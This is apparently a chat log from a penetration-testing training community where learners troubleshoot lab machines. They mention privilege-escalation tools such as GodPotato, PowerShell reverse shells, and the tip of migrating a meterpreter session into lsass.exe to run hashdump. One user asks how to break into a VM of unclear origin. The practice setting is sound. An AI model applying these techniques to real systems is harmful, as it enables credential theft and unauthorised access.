Gave +1 Rep to @willow mauve

willow mauve
# willow mauve Try out **SweetPotato**, the latest potato method

I'll take my words back, actually the latest Potato in public is **GodPotato **
https://github.com/BeichenDream/GodPotato

The issue I encountered using sweetpotato was that it cannot pass arguments, have to write a batch file and put on target disk to get powershell reverse shell back

Godpotato will solve that issue, plus it supports almost any Windows OS

GitHub

Contribute to BeichenDream/GodPotato development by creating an account on GitHub.

daring shuttle
desert topazBOT
#

Gave +1 Rep to @willow mauve

daring shuttle
#

Hi guys and ladies. Useful hint to Game Zone room. Check SSL flag in exploit when you'll go for privilege escalation with Metasploit.

dreamy tulip
#

anyone having problems with the meterpreter session dying in the steelmountain room or it's just me?

willow mauve
#

I am doing blue and my machine is lagging as hell

willow mauve
#

Hi,

I have an issue on Blue

I managed to get full token for SYSTEM,
But get stucked at dumping system hive

#

It just halt there forever

daring shuttle
sturdy swallow
#

Hii, I was doing the Steel Mountain room.
The Meterpreter session is not created.
can someone help
the Error is this - > [!] This exploit may require manual cleanup of '%TEMP%\ZvrZcaR.vbs' on the target

sturdy swallow
daring shuttle
fleet wedge
#

@sturdy swallow I personally prefer to use openVPN and my kali box.

fleet wedge
#

@willow mauve Sorry I'm at work I don't have my personal laptop and my notes about this Blue room. Anyway if I remember correctly System isn't the full power account, you have to find (ps) a process with full power like lsass.exe. So find the process id with a full power process and then migrate to that process (migrate PID in meterpreter), at this point you should have complete access and hashdump will work.

willow mauve
desert topazBOT
#

Gave +1 Rep to @rancid sinew

willow mauve
dreamy tulip
willow mauve
#

Hi,
I have a question,
is there a best powershell revshell apart from [Nishang, HoaxShell, metasploit revshell, Powershell Empire]?
I mainly use ConptyShell for fully interactive shell, but it's not working on Machine : Alfred

willow mauve
#

My winpeas is failing on the machine HackPark,

willow mauve
#

Nvm I'll just use the release at 2022

cobalt delta
#

Hey Folks, I was doing this machine, Relevant
I found a straight vuln with msfconsole, but when I configure it using msf and try to exploit, it does not create a session for me. Anyone can help me with what's going on in Attackbox.

daring shuttle
cobalt delta
#

cool, had thought it that way. was lazy to try the longer route out 😅

zinc belfry
#

Why does it says 1 day of access left? Yesterday it was saying 3 days left. What does this means?

rigid pond
#

for how many have you ppl been learning about pentesting and hacking

#

pls let me know

#

new to this

#

u know

zinc belfry
keen iris
drowsy zinc
#

i have a problem in internal room. I can visit the website at http://ip/blog , but when i click in a link in this blog, like log in page or comments feed, i have a firefox error page "server not found" (i have restart 5 times the machine)

cobalt delta
#

DM

cobalt delta
dire galleon
#

Hi everyone,

I don't understand something,

Task3 : Privilège escalation

I have some issues when i run the script Powerup.ps1,
i can't xrite "Invoke-Allchecks" after run the scripts i have hundred error

(I'm on attackbox)

First time i run the script he was at C:\Users\bill\desktop
And second time at C:\temp

i have the same issues and i don't understand why
Can someone help me ?
thanks a lot

silk vale
dire galleon
#

Yes i did :

there is something i did wrong but for now i can't see it

silk vale
#

The   is a non Breaking Space in html and shouldn’t occur in the ps script

dire galleon
errant snow
#

Hey guys! In the room "exploitingad", I have a problema, that maybe another people alson be having.
None ssh credentials connect to execute task 5.

#

More anyone with same problem?

#

With attackbox same problem

dense mist
dire galleon
#

Thanks a lot

brisk violet
#

question on networks, i just entered the room because i finished the AD basics room, i am greeted with this message:

#

are those 3 days already counting?

#

or will the countdown start once i start the network the first time

#

i did not touch anything yet

silk vale
#

You’ll just get removed from the network and can rejoin after the 3 days, it’s just to clear up idle instances

#

You don’t lose access or anything, only your progress on the active machines

brisk violet
#

ah okay

lyric pelican
#

Can Anyone help me with the Hacking with Powershell Room? It is the Cmdlet [Task 3] and I tried out a lot of different commands but nothing seems to work. Is the Room maybe buggy? I have seen quite a few questions about this Task but no answers[at least they dont work for me]. For Example: Get-Command | Where-Object -Property CommandType -eq Cmdlet | measure ------> 9674

fleet wedge
#

Help!

I have got virtual machine running Linux which requires username and password to login into and hosts a website.

I have no idea how can I break into the machine without credentials.

I have tried multiple tools to scan for vulnerability scanning and exploting but machine is stopping probes. I am at blind spot.

Please help me in getting the access.

keen iris
fleet wedge
#

@keen iris No Sir.
Iam working on it independentally. I need help.

keen iris
fleet wedge
#

One of my friends gave it to me for practice.

keen iris
fleet wedge
#

Can't I expect to get help from you people?

#

Strange

keen iris
fleet wedge
#

I understand james.

#

At least tell me if there is possiblity of what am I asking?

#

Is it doable?

lofty sky
# fleet wedge Is it doable?

Without really knowing the origin of the VM, all we can do is give you wild guesses. When your friend gave you the VM, did he/she give you any clues? Is it metasploitable? DVWA?

fleet wedge
#

No, No. It just a Linux Machine using
Lamp turnkey GNU/Linux 16.0 Debain 10/buster

low trellis
daring shuttle
#

Hey guys and ladies.
For the room Relevant description said that nothing requires Metasploit.
I just wonder how you set up listener for that room?

lofty sky
#

Have you tried netcat?

daring shuttle
lofty sky
#

Wouldn't hurt knowing multiple ways of doing stuff.

willow mauve
# daring shuttle I tried but why should I use netcat instead of meterpreter?

Because you might want to take the OSCP exam one day (It's not allowed to use meterpreter in the EXAM)
The room is a good practice for manually penetration testing and write down a report in OSCP's required format. Check this out - https://github.com/noraj/OSCP-Exam-Report-Template-Markdown

GitHub

:orange_book: Markdown Templates for Offensive Security OSCP, OSWE, OSCE, OSEE, OSWP exam report - GitHub - noraj/OSCP-Exam-Report-Template-Markdown: :orange_book: Markdown Templates for Offensive ...

daring shuttle
#

@willow mauve thanks, I'll check

desert topazBOT
#

Gave +1 Rep to @willow mauve

robust fiber
fleet wedge
low trellis
ebon mesa
#

I’m having issue with Hacking with powershell task 3 question 3 of cmdlet is not accepting the answer. Does anyone one has the same issue?

fleet wedge
ember pebble
#

Powershell room is so scuffed rn holy

regal wigeon
#

Hey guys, I have a problem I’m in the room Breaching Active Directory and when I’m trying to connect from my VM it’s not resolving the IP I did connect once, but after a while disconnected again, so help please

regal wigeon
#

yea i did it

finite pivot
#

what did it say?

regal wigeon
#

The problem is when I’m trying to edit it when I’m opening it again it’s return to default

#

It’s really hard to explain what is going on so if you wanna see what I’m talking about, be my guest let me show you everything